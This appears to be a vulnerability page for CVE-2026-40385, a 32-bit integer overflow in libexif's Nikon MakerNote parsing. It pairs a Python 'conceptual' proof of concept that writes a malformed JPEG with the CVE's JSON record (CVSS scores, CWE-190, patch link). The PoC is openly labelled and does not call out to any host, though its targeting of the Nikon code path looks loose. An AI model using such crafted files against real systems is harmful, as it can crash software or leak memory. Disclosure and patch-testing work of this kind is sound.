CVE-2026-40385

import struct # Conceptual PoC for CVE-2026-40385 # This script creates a JPEG file with a malformed EXIF MakerNote # designed to trigger an integer overflow on 32-bit libexif. def create_malicious_jpeg(filename): # JPEG Start of Image (SOI) soi = b'\xff\xd8' # APP1 Marker (EXIF) app1_marker = b'\xff\xe1' # Placeholder for length (will be updated) exif_header = b'Exif\x00\x00' tiff_header = b'II' + struct.pack('<H', 42) + b'\x00\x00\x00\x08' # IFD0 construction pointing to MakerNote # Entry count ifd0_count = struct.pack('<H', 1) # Tag 0x927C (MakerNote) maker_note_tag = struct.pack('<H', 0x927C) type = struct.pack('<H', 7) # Undefined # Malicious count/offset to trigger overflow (e.g., 0xFFFFFFFF) # This value attempts to cause an overflow in length calculation malicious_value = struct.pack('<I', 0xFFFFFFFF) ifd0_entry = maker_note_tag + type + malicious_value + malicious_value # Next IFD offset (0) next_ifd = struct.pack('<I', 0) # Combine APP1 data app1_data = exif_header + tiff_header + ifd0_count + ifd0_entry + next_ifd app1_length = struct.pack('>H', len(app1_data) + 2) # JPEG End of Image (EOI) eoi = b'\xff\xd9' with open(filename, 'wb') as f: f.write(soi) f.write(app1_marker + app1_length + app1_data) # Minimal valid image data needed for some parsers f.write(b'\xff\xc0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01') f.write(eoi) print(f"Malicious JPEG file created: {filename}") if __name__ == "__main__": create_malicious_jpeg("cve_2026_40385_poc.jpg")

{"cve": {"id": "CVE-2026-40385", "sourceIdentifier": "[email protected]", "published": "2026-04-12T19:16:20.480", "lastModified": "2026-04-14T20:15:39.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In libexif through 0.6.25, an unsigned 32bit integer overflow in Nikon MakerNote handling could be used by local attackers to cause crashes or information leaks. This only affects 32bit systems."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libexif_project:libexif:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.6.25", "matchCriteriaId": "1CBE2459-7BEF-4E03-A977-F4B9DC93695A"}]}]}], "references": [{"url": "https://github.com/libexif/libexif/commit/93003b93e50b3d259bd2227d8775b73a53c35d58", "source": "[email protected]", "tags": ["Patch"]}]}}